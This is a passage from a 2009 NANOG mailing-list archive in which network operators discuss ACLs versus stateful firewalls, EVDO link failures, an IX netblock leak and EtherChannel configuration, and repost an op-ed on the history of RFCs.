headfirst. Matt > What's out there, and why do you guys use it? How do you feel about > the scalability, performance, security, and manageability of your > solution? What kind of traffic levels do you put through it? > > From nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org Tue Apr 7 16:34:02 2009 From: nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org (Mark Smith) Date: Wed, 8 Apr 2009 07:04:02 +0930 Subject: ACLs vs. full firewalls In-Reply-To: <49DBB20B.2050009@uvic.ca> References: <49DBB20B.2050009@uvic.ca> Message-ID: <20090408070402.a73638d7.nanog@85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org> On Tue, 07 Apr 2009 13:05:31 -0700 Michael Helmeste wrote: > Hi all, > One of the duties of my current place of employ is reorganizing the > network. We have a few Catalyst 6500 series L3 switches, but currently > do all packet filtering (and some routing) using a software based > firewall. Don't ask me, I didn't design it :) > > Current security requirements are only based on TCP and non-stateful > UDP src/dst net/port filtering, and so my suggestion was to use ACLs > applied on the routed interface of each VLAN. There was some talk of > using another software based firewall or a Cisco FWSM card to filter > traffic at the border, mostly for management concerns. We expect full 1 > gig traffic levels today, and 10 gig traffic levels in the future. > > I view ACLs as being a cheap, easy to administrate solution that > scales with upgrades to new interface line speeds, where a full stateful > firewall isn't necessary. However, I wanted to get other opinions of > what packet filtering solutions people use in the border and in the > core, and why. > It seems there is a trend towards moving host protection on to the hosts themselves, onto or closer to the resource or entity being protected. It's basically following the cliche, "If you want something to be done properly, you need to do it yourself." http://www.opengroup.org/jericho/ - they call it "de-perimeterization" I first came across the idea in this article: http://www.cs.columbia.edu/~smb/papers/distfw.html If you move to the host-based firewalling model, plain packet filtering ACLs at the perimeter would be quite an adequate form of a first level of defence, while also avoiding the performance overhead of (or resources required to perform) stateful tracking of large amounts of traffic. Regards, Mark. > What's out there, and why do you guys use it? How do you feel about > the scalability, performance, security, and manageability of your > solution? What kind of traffic levels do you put through it? > From Sam.Crooks at experian.com Tue Apr 7 16:38:49 2009 From: Sam.Crooks at experian.com (Crooks, Sam) Date: Tue, 7 Apr 2009 16:38:49 -0500 Subject: ACLs vs. full firewalls In-Reply-To: <49DBB20B.2050009@uvic.ca> Message-ID: Beware off using ACL filtering on 6500s with many vlans (100+) and long acls (hundred+ lines)... You'll soon find out more than you ever wanted to know about TCAM, different TCAM types used in various sup's and what the limitations imposed by TCAM on processing ACLs in hardware... Sam Crooks -----Original Message----- From: Michael Helmeste [mailto:mhelmest at uvic.ca] Sent: Tuesday, April 07, 2009 3:06 PM To: nanog at nanog.org Subject: ACLs vs. full firewalls Hi all, One of the duties of my current place of employ is reorganizing the network. We have a few Catalyst 6500 series L3 switches, but currently do all packet filtering (and some routing) using a software based firewall. Don't ask me, I didn't design it :) Current security requirements are only based on TCP and non-stateful UDP src/dst net/port filtering, and so my suggestion was to use ACLs applied on the routed interface of each VLAN. There was some talk of using another software based firewall or a Cisco FWSM card to filter traffic at the border, mostly for management concerns. We expect full 1 gig traffic levels today, and 10 gig traffic levels in the future. I view ACLs as being a cheap, easy to administrate solution that scales with upgrades to new interface line speeds, where a full stateful firewall isn't necessary. However, I wanted to get other opinions of what packet filtering solutions people use in the border and in the core, and why. What's out there, and why do you guys use it? How do you feel about the scalability, performance, security, and manageability of your solution? What kind of traffic levels do you put through it? From warren at kumari.net Tue Apr 7 17:15:54 2009 From: warren at kumari.net (Warren Kumari) Date: Tue, 7 Apr 2009 18:15:54 -0400 Subject: Call for participants, NANOG 46: ISP Security BOF Message-ID: Hello all, So, for once in my life I have not left things till the last minute :-) NANOG 46 is still a ways off, but I'd like to invite y'all to start thinking about topics for the ISP Security BOF, either things that you would like to present, or things that you are interested in and would like to see someone else present. You (Yes! You!) can give a security related presentation at the upcoming NANOG, thereby earning fame, respect and adoration from your friends and colleagues. W -- "When it comes to glittering objects, wizards have all the taste and self-control of a deranged magpie." -- Terry Pratchett From mhelmest at uvic.ca Tue Apr 7 17:29:27 2009 From: mhelmest at uvic.ca (Michael Helmeste) Date: Tue, 07 Apr 2009 15:29:27 -0700 Subject: ACLs vs. full firewalls In-Reply-To: <20090407211806.GA31462@roxanne.org> References: <49DBB20B.2050009@uvic.ca> <20090407211806.GA31462@roxanne.org> Message-ID: <49DBD3C7.9030603@uvic.ca> While there are no specific audit requirements, overall traffic auditing (not just for dropped packets) is definitely something I'm considering. One way of gathering this data without using a firewall would seem to be netflow; I don't think netflow specifically calls out (or even shows?) traffic blocked by ACLs though, which could be a point for consideration. Eric Gauthier wrote: > Michael, > > Do you have logging or audit requirements to your filters? > We use ACLs almost everywhere for non-stateful filtering, but > there are a few locations (e.g. HIPPA) that require an > audit trail which is perhaps better accomplished by a firewall. > > Eric :) > [...] From kauer at biplane.com.au Tue Apr 7 17:32:02 2009 From: kauer at biplane.com.au (Karl Auer) Date: Wed, 08 Apr 2009 08:32:02 +1000 Subject: ACLs vs. full firewalls In-Reply-To: <20090408070402.a73638d7.nanog@85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org> References: <49DBB20B.2050009@uvic.ca> <20090408070402.a73638d7.nanog@85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org> Message-ID: <1239143522.6678.201.camel@karl> On Wed, 2009-04-08 at 07:04 +0930, Mark Smith wrote: > It seems there is a trend towards moving host protection on to the > hosts themselves, onto or closer to the resource or entity being > protected. It's basically following the cliche, "If you want something > to be done properly, you need to do it yourself." And IPv6 tends to push security back onto hosts, too. > If you move to the host-based firewalling model, plain packet > filtering ACLs at the perimeter would be quite an adequate form of a > first level of defence, while also avoiding the performance overhead > of (or resources required to perform) stateful tracking of large > amounts of traffic. And a combination of the two - if you *are* performing more complex checks deeper inside the network, packet filtering can reduce the load that actually reaches those inner check points. I'd be interested to hear why people use firewalls. I've never felt the need, myself - am I living in a fool's paradise? Regards, K. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Karl Auer (kauer at biplane.com.au) +61-2-64957160 (h) http://www.biplane.com.au/~kauer/ +61-428-957160 (mob) GPG fingerprint: 07F3 1DF9 9D45 8BCD 7DD5 00CE 4A44 6A03 F43A 7DEF -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From nanog at daork.net Tue Apr 7 17:46:11 2009 From: nanog at daork.net (Nathan Ward) Date: Wed, 8 Apr 2009 10:46:11 +1200 Subject: ACLs vs. full firewalls In-Reply-To: <1239143522.6678.201.camel@karl> References: <49DBB20B.2050009@uvic.ca> <20090408070402.a73638d7.nanog@85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org> <1239143522.6678.201.camel@karl> Message-ID: <49AE5A03-3EC8-46CE-84C0-CC1C2369AE6E@daork.net> On 8/04/2009, at 10:32 AM, Karl Auer wrote: > I'd be interested to hear why people use firewalls. I've never felt > the > need, myself - am I living in a fool's paradise? End hosts are not always trustworthy. If a host is compromised, should it be able to send anything and everything out to the public network? If a host is a desktop PC controlled by an end user, should it be able to send and receive anything it wants? IMO, host based filtering and ACLs (either firewalls or router ACLs or whatever) in the network should both be used. They fulfil different needs. -- Nathan Ward From kauer at biplane.com.au Tue Apr 7 18:20:34 2009 From: kauer at biplane.com.au (Karl Auer) Date: Wed, 08 Apr 2009 09:20:34 +1000 Subject: ACLs vs. full firewalls In-Reply-To: <49AE5A03-3EC8-46CE-84C0-CC1C2369AE6E@daork.net> References: <49DBB20B.2050009@uvic.ca> <20090408070402.a73638d7.nanog@85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org> <1239143522.6678.201.camel@karl> <49AE5A03-3EC8-46CE-84C0-CC1C2369AE6E@daork.net> Message-ID: <1239146434.6678.211.camel@karl> On Wed, 2009-04-08 at 10:46 +1200, Nathan Ward wrote: > > I'd be interested to hear why people use firewalls. > End hosts are not always trustworthy. > > If a host is compromised, should it be able to send anything and > everything out to the public network? A packet filter looks at the "top surface" of the packet, and processes the packet accordingly - based on things like the protocol, the source address, the destination address, the TCP flags and so on. A firewall, on the other hand, makes decisions based on knowledge about the data being carried. I.e., firewall != packet filter; my question related to firewalls. Regards, K. -- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Karl Auer (kauer at biplane.com.au) +61-2-64957160 (h) http://www.biplane.com.au/~kauer/ +61-428-957160 (mob) GPG fingerprint: 07F3 1DF9 9D45 8BCD 7DD5 00CE 4A44 6A03 F43A 7DEF -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From smb at cs.columbia.edu Tue Apr 7 18:38:10 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Tue, 7 Apr 2009 19:38:10 -0400 Subject: ACLs vs. full firewalls In-Reply-To: <1239146434.6678.211.camel@karl> References: <49DBB20B.2050009@uvic.ca> <20090408070402.a73638d7.nanog@85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org> <1239143522.6678.201.camel@karl> <49AE5A03-3EC8-46CE-84C0-CC1C2369AE6E@daork.net> <1239146434.6678.211.camel@karl> Message-ID: <20090407193810.10813251@cs.columbia.edu> On Wed, 08 Apr 2009 09:20:34 +1000 Karl Auer wrote: > On Wed, 2009-04-08 at 10:46 +1200, Nathan Ward wrote: > > > I'd be interested to hear why people use firewalls. > > > End hosts are not always trustworthy. > > > > If a host is compromised, should it be able to send anything and > > everything out to the public network? > > A packet filter looks at the "top surface" of the packet, and > processes the packet accordingly - based on things like the protocol, > the source address, the destination address, the TCP flags and so on. > > A firewall, on the other hand, makes decisions based on knowledge > about the data being carried. > > I.e., firewall != packet filter; my question related to firewalls. > A packet filter is often part of a firewall, though it's usually not a complete solution. However, I'd disagree with your blanket assertion. A better way to phrase it is that a firewall at a given level cannot protect against attacks at a different level. Packet filters don't block SMTP weirdness or filter Evilscript from web pages; web proxies don't guard against, say, ACK scans. It's like it says on the tube of toothpaste: a packet filter (or for that matter, a firewall) is an effective security device if used as part of a program of good network hygiene and regular professional care. --Steve Bellovin, http://www.cs.columbia.edu/~smb From rdobbins at cisco.com Tue Apr 7 19:28:47 2009 From: rdobbins at cisco.com (Roland Dobbins) Date: Wed, 8 Apr 2009 08:28:47 +0800 Subject: ACLs vs. full firewalls In-Reply-To: <49DBB20B.2050009@uvic.ca> References: <49DBB20B.2050009@uvic.ca> Message-ID: <96516A7A-7051-43C3-ADF8-F28E254041B5@cisco.com> On Apr 8, 2009, at 4:05 AM, Michael Helmeste wrote: > However, I wanted to get other opinions of what packet filtering > solutions people use in the border and in the > core, and why. Stateless ACLs in hardware at the edge are important both for infrastructure self-protection (i.e., iACLs) and for policy enforcement of the type you indicate. As others on this thread have pointed out, do understand your platform characteristics and craft your ACLs accordingly. Stateful - i.e., context-aware bidirectional - filtering via a firewall makes sense in situations in which a) the nodes 'behind' the firewall aren't typically operating as servers and/or b) the bidirectional communications patterns which should be observed are well-known, and in which the participation of hosts is under the control/influence of the network operator. For example, in front of a corporate LAN, or between the tiers of a multi-tiered application, one can craft quite specific stateful inspection rules which can be used to explicitly allow and disallow certain types of traffic. For front-end, publicly-accessible conventional servers, stateful inspection may not add as much value, as basically every connection which comes into those servers is unsolicited (i.e., no existing stateful communications context against which to measure pass/fail decisions); this is where high-speed stateless ACLs, coupled with host OS/app/service hardening play a key role. It's very important to avoid the instantiation of unnecessary state in front of public-facing assets, as DDoS attacks are essentially attacks against capacity and against state. One should also look into implementing DDoS mitigation techniques such as S/RTBH, in conjunction with the chosen policy-enforcement regime. ----------------------------------------------------------------------- Roland Dobbins // +852.9133.2844 mobile Our dreams are still big; it's just the future that got small. -- Jason Scott From tony at swalter.com Tue Apr 7 19:43:42 2009 From: tony at swalter.com (Tony Patti) Date: Tue, 7 Apr 2009 20:43:42 -0400 Subject: nytimes.com: How the Internet Got Its Rules Message-ID: <116501c9b7e3$10fe72e0$32fb58a0$@com> Hopefully these RFC's have (in sum total over the last 40 years) sufficient operational content to merit mention per the NANOG AUP. Tony Patti CIO S. Walter Packaging Corp. tony at swalter.com http://www.nytimes.com/2009/04/07/opinion/07crocker.html?_r=1&emc=eta1 How the Internet Got Its Rules By STEPHEN D. CROCKER Published: April 6, 2009 Bethesda, Md. TODAY is an important date in the history of the Internet: the 40th anniversary of what is known as the Request for Comments. Outside the technical community, not many people know about the R.F.C.'s, but these humble documents shape the Internet's inner workings and have played a significant role in its success. When the R.F.C.'s were born, there wasn't a World Wide Web. Even by the end of 1969, there was just a rudimentary network linking four computers at four research centers: the University of California, Los Angeles; the Stanford Research Institute; the University of California, Santa Barbara; and the University of Utah in Salt Lake City. The government financed the network and the hundred or fewer computer scientists who used it. It was such a small community that we all got to know one another. A great deal of deliberation and planning had gone into the network's underlying technology, but no one had given a lot of thought to what we would actually do with it. So, in August 1968, a handful of graduate students and staff members from the four sites began meeting intermittently, in person, to try to figure it out. (I was lucky enough to be one of the U.C.L.A. students included in these wide-ranging discussions.) It wasn't until the next spring that we realized we should start writing down our thoughts. We thought maybe we'd put together a few temporary, informal memos on network protocols, the rules by which computers exchange information. I offered to organize our early notes. What was supposed to be a simple chore turned out to be a nerve-racking project. Our intent was only to encourage others to chime in, but I worried we might sound as though we were making official decisions or asserting authority. In my mind, I was inciting the wrath of some prestigious professor at some phantom East Coast establishment. I was actually losing sleep over the whole thing, and when I finally tackled my first memo, which dealt with basic communication between two computers, it was in the wee hours of the morning. I had to work in a bathroom so as not to disturb the friends I was staying with, who were all asleep. Still fearful of sounding presumptuous, I labeled the note a "Request for Comments." R.F.C. 1, written 40 years ago today, left many questions unanswered, and soon became obsolete. But the R.F.C.'s themselves took root and flourished. They became the formal method of publishing Internet protocol standards, and today there are more than 5,000, all readily available online. But we started writing these notes before we had e-mail, or even before the network was really working, so we wrote our visions for the future on paper and sent them around via the postal service. We'd mail each research group one printout and they'd have to photocopy more themselves. The early R.F.C.'s ranged from grand visions to mundane details, although the latter quickly became the most common. Less important than the content of those first documents was that they were available free of charge and anyone could write one. Instead of authority-based decision-making, we relied on a process we called "rough consensus and running code." Everyone was welcome to propose ideas, and if enough people liked it and used it, the design became a standard. After all, everyone understood there was a practical value in choosing to do the same task in the same way. For example, if we wanted to move a file from one machine to another, and if you were to design the process one way, and I was to design it another, then anyone who wanted to talk to both of us would have to employ two distinct ways of doing the same thing. So there was plenty of natural pressure to avoid such hassles. It probably helped that in those days we avoided patents and other restrictions; without any financial incentive to control the protocols, it was much easier to reach agreement. This was the ultimate in openness in technical design and that culture of open processes was essential in enabling the Internet to grow and evolve as spectacularly as it has. In fact, we probably wouldn't have the Web without it. When CERN physicists wanted to publish a lot of information in a way that people could easily get to it and add to it, they simply built and tested their ideas. Because of the groundwork we'd laid in the R.F.C.'s, they did not have to ask permission, or make any changes to the core operations of the Internet. Others soon copied them - hundreds of thousands of computer users, then hundreds of millions, creating and sharing content and technology. That's the Web. Put another way, we always tried to design each new protocol to be both useful in its own right and a building block available to others. We did not think of protocols as finished products, and we deliberately exposed the internal architecture to make it easy for others to gain a foothold. This was the antithesis of the attitude of the old telephone networks, which actively discouraged any additions or uses they had not sanctioned. Of course, the process for both publishing ideas and for choosing standards eventually became more formal. Our loose, unnamed meetings grew larger and semi-organized into what we called the Network Working Group. In the four decades since, that group evolved and transformed a couple of times and is now the Internet Engineering Task Force. It has some hierarchy and formality but not much, and it remains free and accessible to anyone. The R.F.C.'s have grown up, too. They really aren't requests for comments anymore because they are published only after a lot of vetting. But the culture that was built up in the beginning has continued to play a strong role in keeping things more open than they might have been. Ideas are accepted and sorted on their merits, with as many ideas rejected by peers as are accepted. As we rebuild our economy, I do hope we keep in mind the value of openness, especially in industries that have rarely had it. Whether it's in health care reform or energy innovation, the largest payoffs will come not from what the stimulus package pays for directly, but from the huge vistas we open up for others to explore. I was reminded of the power and vitality of the R.F.C.'s when I made my first trip to Bangalore, India, 15 years ago. I was invited to give a talk at the Indian Institute of Science, and as part of the visit I was introduced to a student who had built a fairly complex software system. Impressed, I asked where he had learned to do so much. He simply said, "I downloaded the R.F.C.'s and read them." Stephen D. Crocker is the chief executive of a company that develops information-sharing technology. From ubaidali_abdul_razack at 3com.com Tue Apr 7 21:14:38 2009 From: ubaidali_abdul_razack at 3com.com (ubaidali_abdul_razack at 3com.com) Date: Wed, 8 Apr 2009 10:14:38 +0800 Subject: ACLs vs. full firewalls In-Reply-To: <96516A7A-7051-43C3-ADF8-F28E254041B5@cisco.com> Message-ID: For Defense in depth I would use multi-tiered approach. Stateless ACL at Border for bound checks Stateful FW for Checking sessions Outbound ACLs on Innerchoke points Application Intelligence and DDOS mitigation by IPS between Border and Firewall Endpoint Security using Enterprise Anti-Virus agents/NAC Agents Regards Ubaidali Abdul Razack +65.65436404 (Office) +65.65436278 (Fax) Roland Dobbins 04/08/2009 08:28 AM To NANOG list cc Subject Re: ACLs vs. full firewalls On Apr 8, 2009, at 4:05 AM, Michael Helmeste wrote: > However, I wanted to get other opinions of what packet filtering > solutions people use in the border and in the > core, and why. Stateless ACLs in hardware at the edge are important both for infrastructure self-protection (i.e., iACLs) and for policy enforcement of the type you indicate. As others on this thread have pointed out, do understand your platform characteristics and craft your ACLs accordingly. Stateful - i.e., context-aware bidirectional - filtering via a firewall makes sense in situations in which a) the nodes 'behind' the firewall aren't typically operating as servers and/or b) the bidirectional communications patterns which should be observed are well-known, and in which the participation of hosts is under the control/influence of the network operator. For example, in front of a corporate LAN, or between the tiers of a multi-tiered application, one can craft quite specific stateful inspection rules which can be used to explicitly allow and disallow certain types of traffic. For front-end, publicly-accessible conventional servers, stateful inspection may not add as much value, as basically every connection which comes into those servers is unsolicited (i.e., no existing stateful communications context against which to measure pass/fail decisions); this is where high-speed stateless ACLs, coupled with host OS/app/service hardening play a key role. It's very important to avoid the instantiation of unnecessary state in front of public-facing assets, as DDoS attacks are essentially attacks against capacity and against state. One should also look into implementing DDoS mitigation techniques such as S/RTBH, in conjunction with the chosen policy-enforcement regime. ----------------------------------------------------------------------- Roland Dobbins // +852.9133.2844 mobile Our dreams are still big; it's just the future that got small. -- Jason Scott Please consider the environment before printing this e-mail. _______________________ CONFIDENTIALITY NOTICE: This e-mail message, including any attachments, is being sent by 3Com for the sole use of the intended recipient(s) and may contain confidential, proprietary and/or privileged information. Any unauthorized review, use, disclosure and/or distribution by any recipient is prohibited. If you are not the intended recipient, please delete and/or destroy all copies of this message regardless of form and any included attachments and notify 3Com immediately by contacting the sender via reply e-mail or forwarding to 3Com at postmaster at 3com.com. From lionair at samsung.com Tue Apr 7 23:05:38 2009 From: lionair at samsung.com (=?euc-kr?B?waTEob+1?=) Date: Wed, 08 Apr 2009 04:05:38 +0000 (GMT) Subject: SLA packet loss base Message-ID: <1267598.331651239163538771.JavaMail.weblogic@epml13> Hi all, I wonder where we can find the base of packet loss rate of Global famous provider. For example, the packet loss value of Sprint and NTT-Verio is same 0.3 % at their SLA. Best regards Chiyoung ============================================= Chi-Young Joung SAMSUNG NETWORKS Inc. Email: lionair at samsung.com Tel +82 70 7015 0623, Mobile +82 17 520 9193 Fax +82 70 7016 0031 ============================================= From a.harrowell at gmail.com Wed Apr 8 05:27:41 2009 From: a.harrowell at gmail.com (Alexander Harrowell) Date: Wed, 8 Apr 2009 11:27:41 +0100 Subject: Verizon EVDO Issues Message-ID: <200904081127.41697.alexander.harrowell@stlpartners.com> On Tuesday 07 April 2009 22:10:24 Charles Wyble wrote: > Been troubleshooting a very strange problem for a couple of weeks now. > > I have a few hundred systems deployed throughout the United States > utilizing EVDO connectivity with Verizon as a carrier. They are stationary. > > Over the past few weeks clusters of them in SF and Lewisville TX and a > few other areas have been failing intermittently. They are offline for > several days, then online for a few days then go offline again. They are > running Linux and PPPD. > Do they maintain a continuous data link in normal operation (like, say, connectivity for a LAN, or backhaul for a camera or some such), or do they request the data link when they need to send [whatever] (like a discrete SCADA system)? My (user only) experience is that cellular data service doesn't handle long sessions well. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 194 bytes Desc: This is a digitally signed message part. URL: From nanog at daork.net Wed Apr 8 05:40:35 2009 From: nanog at daork.net (Nathan Ward) Date: Wed, 8 Apr 2009 22:40:35 +1200 Subject: Verizon EVDO Issues In-Reply-To: <200904081127.41697.alexander.harrowell@stlpartners.com> References: <200904081127.41697.alexander.harrowell@stlpartners.com> Message-ID: <8FAC1A60-A2DD-4A89-B2B3-314EB218760B@daork.net> On 8/04/2009, at 10:27 PM, Alexander Harrowell wrote: > Do they maintain a continuous data link in normal operation (like, > say, > connectivity for a LAN, or backhaul for a camera or some such), or > do they > request the data link when they need to send [whatever] (like a > discrete SCADA > system)? My (user only) experience is that cellular data service > doesn't > handle long sessions well. I've had great success with it. We have done live audio streaming over IP through a cellular service before. 64kbps ogg encoding. About 7 or so hours in one session. We used to do a cheap live broadcast from an outdoor event for a radio station. -- Nathan Ward From Stefan.Fouant at neustar.biz Wed Apr 8 10:00:07 2009 From: Stefan.Fouant at neustar.biz (Fouant, Stefan) Date: Wed, 8 Apr 2009 11:00:07 -0400 Subject: Equinix contact In-Reply-To: <200904081127.41697.alexander.harrowell@stlpartners.com> References: <200904081127.41697.alexander.harrowell@stlpartners.com> Message-ID: Any good clueful network Engineers from Equinix on-list? If so, please contact me off-line as I noticed some oddball network behavior at some of your peering points. Regards, Stefan Fouant: NeuStar, Inc. Principal Network Engineer 46000 Center Oak Plaza Sterling, VA 20166 [ T ] +1 571 434 5656 [ M ] +1 202 210 2075 [ E ] stefan.fouant at neustar.biz [ W ] www.neustar.biz From niels=nanog at bakker.net Wed Apr 8 11:17:02 2009 From: niels=nanog at bakker.net (Niels Bakker) Date: Wed, 8 Apr 2009 18:17:02 +0200 Subject: Equinix contact In-Reply-To: References: <200904081127.41697.alexander.harrowell@stlpartners.com> Message-ID: <20090408161702.GQ9502@burnout.tpb.net> * Stefan.Fouant at neustar.biz (Fouant, Stefan) [Wed 08 Apr 2009, 17:04 CEST]: >Any good clueful network Engineers from Equinix on-list? If so, please >contact me off-line as I noticed some oddball network behavior at some >of your peering points. You do realise that the people who run an Internet exchange only manage the Ethernet switch and have no influence on participants' routing, right? If you're seeing odd things on your router directly connected to the IX switch you should have a better way of contacting your vendor than through the nanog mailing list. -- Niels. From Stefan.Fouant at neustar.biz Wed Apr 8 12:17:25 2009 From: Stefan.Fouant at neustar.biz (Fouant, Stefan) Date: Wed, 8 Apr 2009 13:17:25 -0400 Subject: Equinix contact In-Reply-To: <20090408161702.GQ9502@burnout.tpb.net> References: <200904081127.41697.alexander.harrowell@stlpartners.com> <20090408161702.GQ9502@burnout.tpb.net> Message-ID: Niels - this was an issue with the internet exchange netblock being leaked out to upstream providers and causing peering adjacencies to be established through indirect paths. It wasn't an issue with the router and it wasn't an issue with a peer. Thanks for your concern though... I think we got it handled now :) Stefan Fouant: NeuStar, Inc. Principal Network Engineer 46000 Center Oak Plaza Sterling, VA 20166 [ T ] +1 571 434 5656 [ M ] +1 202 210 2075 [ E ] stefan.fouant at neustar.biz [ W ] www.neustar.biz > -----Original Message----- > From: Niels Bakker [mailto:niels=nanog at bakker.net] > Sent: Wednesday, April 08, 2009 12:17 PM > To: nanog at nanog.org > Subject: Re: Equinix contact > > * Stefan.Fouant at neustar.biz (Fouant, Stefan) [Wed 08 Apr 2009, 17:04 > CEST]: > >Any good clueful network Engineers from Equinix on-list? If so, > please > >contact me off-line as I noticed some oddball network behavior at some > >of your peering points. > > You do realise that the people who run an Internet exchange only manage > the Ethernet switch and have no influence on participants' routing, > right? > > If you're seeing odd things on your router directly connected to the IX > switch you should have a better way of contacting your vendor than > through the nanog mailing list. > > > -- Niels. From Pat.Durkin at iquate.com Wed Apr 8 12:56:55 2009 From: Pat.Durkin at iquate.com (Pat Durkin) Date: Wed, 8 Apr 2009 18:56:55 +0100 Subject: Cisco Audit Tool? Message-ID: <8FDABBA19A1BD243BBD73FE6E6E097A75FFA4C@host2.iQDomain.com> www.iquate.com audit large network infrastructure; Cisco plus others; very flexible as you can drive your own queries across thousands of devices; Any views expressed in this message are the sender's own, and do not represent the views of iQuate except where the sender specifically states them to be the views of iQuate. This e-mail should only be read by those persons to whom it is addressed. Accordingly, we disclaim all responsibility and accept no liability (including in negligence) for the consequences of any person other than the intended recipients acting, or refraining from acting, on such information. If you have received this e-mail in error, please accept our apologies and we simply request that you delete this document. Any form of reproduction, dissemination, copying, disclosure, modification, distribution and/or publication of this e-mail is strictly prohibited iQuate is a trading name for eManageIT Ltd. Registered in Ireland - Number: 350019 Citywest National Digital Park, Dublin From amolak.singh at gmail.com Wed Apr 8 13:03:33 2009 From: amolak.singh at gmail.com (Amolak) Date: Wed, 8 Apr 2009 23:33:33 +0530 Subject: L2 - L3 Etherchannel Message-ID: Hi All, Is it possible to create L2 Etherchannel at one end and L3 etherchannel at another end? For Example: SW-1 ==== interface GigabitEthernet1/1 channel-group 1 mode desirable channel-protocol pagp ! interface GigabitEthernet1/2 channel-group 1 mode desirable channel-protocol pagp ! interface Port-channel 1 no ip address switchport switchport access vlan 10 switchport mode access ! int vlan10 ip address 1.1.1.1 255.255.255.252 ! ------------------------------------ SW-2 ==== interface Port-channel 2 ip address 1.1.1.2 255.255.255.252 ! interface GigabitEthernet1/1 no ip address channel-group 2 mode desirable channel-protocol pagp ! interface GigabitEthernet1/2 no ip address channel-group 2 mode desirable channel-protocol pagp ! I don't have a lab to test it, can somebody confirm if the connectivity will work between these devices as per this setup. Thanks, Amolak From sethm at rollernet.us Wed Apr 8 13:41:03 2009 From: sethm at rollernet.us (Seth Mattinen) Date: Wed, 08 Apr 2009 11:41:03 -0700 Subject: Verizon EVDO Issues In-Reply-To: <200904081127.41697.alexander.harrowell@stlpartners.com> References: <200904081127.41697.alexander.harrowell@stlpartners.com> Message-ID: <49DCEFBF.8030109@rollernet.us> Alexander Harrowell wrote: > On Tuesday 07 April 2009 22:10:24 Charles Wyble wrote: >> Been troubleshooting a very strange problem for a couple of weeks now. >> >> I have a few hundred systems deployed throughout the United States >> utilizing EVDO connectivity with Verizon as a carrier. They are stationary. >> >> Over the past few weeks clusters of them in SF and Lewisville TX and a >> few other areas have been failing intermittently. They are offline for >> several days, then online for a few days then go offline again. They are >> running Linux and PPPD. >> > > Do they maintain a continuous data link in normal operation (like, say, > connectivity for a LAN, or backhaul for a camera or some such), or do they > request the data link when they need to send [whatever] (like a discrete SCADA > system)? My (user only) experience is that cellular data service doesn't > handle long sessions well. > I have a few Sprint EVDO cards. They go into standby when nothing is actively going on and fire up within seconds when there is something to do. I regularly use everything from SSH to streaming video without any issues. I only notice the delay with SSH when I don't type anything for a few minutes and it has to come active again, but I can leave it idle for hours and it never drops. As far as the OP goes, let them replace the cards if they think that's the problem. You and I may suspect something else is up, but if that's on their checklist, it is what it is. ~Seth From arievayner at gmail.com Wed Apr 8 15:17:10 2009 From: arievayner at gmail.com (Arie Vayner) Date: Wed, 8 Apr 2009 23:17:10 +0300 Subject: L2 - L3 Etherchannel In-Reply-To: References: Message-ID: <20b13c6b0904081317w8e33e1cv15dc0c60aa7bebc6@mail.gmail.com> Yes. On Wed, Apr 8, 2009 at 9:03 PM, Amolak wrote: > Hi All, > > Is it possible to create L2 Etherchannel at one end and L3 etherchannel at > another end? > > For Example: > > SW-1 > ==== > > interface GigabitEthernet1/1 > channel-group 1 mode desirable > channel-protocol pagp > ! > interface GigabitEthernet1/2 > channel-group 1 mode desirable > channel-protocol pagp > ! > interface Port-channel 1 > no ip address > switchport > switchport access vlan 10 > switchport mode access > ! > int vlan10 > ip address 1.1.1.1 255.255.255.252 > ! > ------------------------------------ > > SW-2 > ==== > > interface Port-channel 2 > ip address 1.1.1.2 255.255.255.252 > ! > interface GigabitEthernet1/1 > no ip address > channel-group 2 mode desirable > channel-protocol pagp > ! > interface GigabitEthernet1/2 > no ip address > channel-group 2 mode desirable > channel-protocol pagp > ! > > I don't have a lab to test it, can somebody confirm if the connectivity > will > work between these devices as per this setup. > > Thanks, > Amolak > From charles at thewybles.com Wed Apr 8 15:37:47 2009 From: charles at thewybles.com (Charles Wyble) Date: Wed, 08 Apr 2009 13:37:47 -0700 Subject: Verizon EVDO Issues In-Reply-To: <200904081127.41697.alexander.harrowell@stlpartners.com> References: <200904081127.41697.alexander.harrowell@stlpartners.com> Message-ID: <49DD0B1B.6090203@thewybles.com> >> > > Do they maintain a continuous data link in normal operation (like, say, > connectivity for a LAN, or backhaul for a camera or some such), or do they > request the data link when they need to send [whatever] (like a discrete SCADA > system)? My (user only) experience is that cellular data service doesn't > handle long sessions well. > Continuous operation. They have been working fine for some time. We have about 20 locations that aren't working, and over 200 that are working just fine. From charles at thewybles.com Wed Apr 8 15:40:00 2009 From: charles at thewybles.com (Charles Wyble) Date: Wed, 08 Apr 2009 13:40:00 -0700 Subject: Verizon EVDO Issues In-Reply-To: <49DBC140.1040805@thewybles.com> References: <49DBC140.1040805@thewybles.com> Message-ID: <49DD0BA0.8040305@thewybles.com> Update... First, thank you to all who replied off list. The general summary of the offlist replies, is that a PRL update may be needed. This of course doesn't appear doable via Linux, and our vendor (IRG) swore up and down this wouldn't be required. We had the tech remove the USB dongle (model 720) from the system and place it in his laptop. Came up and worked fine once vzaccess twiddled whatever bits it needed to. Charles Wyble wrote: > Been troubleshooting a very strange problem for a couple of weeks now. > > I have a few hundred systems deployed throughout the United States > utilizing EVDO connectivity with Verizon as a carrier. They are stationary. > > Over the past few weeks clusters of them in SF and Lewisville TX and a > few other areas have been failing intermittently. They are offline for > several days, then online for a few days then go offline again. They are > running Linux and PPPD. > > Has anyone else seen anything like this? I realize that there are very > few other organizations with a network footprint like ours 